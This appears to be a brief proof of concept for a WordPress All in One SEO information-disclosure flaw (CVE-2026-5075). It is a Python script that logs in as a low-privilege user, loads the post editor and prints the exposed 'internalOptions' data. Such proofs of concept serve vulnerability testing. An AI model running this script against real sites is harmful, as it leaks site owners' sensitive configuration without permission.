CVE-2026-5075：WordPress All in One SEO 敏感信息泄露

# Proof of Concept for CVE-2026-5075 # It checks if sensitive data is exposed in the page source of the editor. import requests def check_cve(url, username, password): session = requests.Session() # Login attempt login_url = url + "/wp-login.php" payload = {'log': username, 'pwd': password, 'redirect_to': url + '/wp-admin/', 'testcookie': '1'} session.post(login_url, data=payload) # Access post editor edit_url = url + "/wp-admin/post-new.php" response = session.get(edit_url) if 'internalOptions' in response.text: print("[+] Vulnerability Detected: internalOptions found in source.") # Extract specific snippet for demonstration start = response.text.find('var internalOptions') print(response.text[start:start+200]) else: print("[-] Vulnerability not detected or user lacks permissions.") # Usage: check_cve('http://target-site.com', 'contributor', 'pass')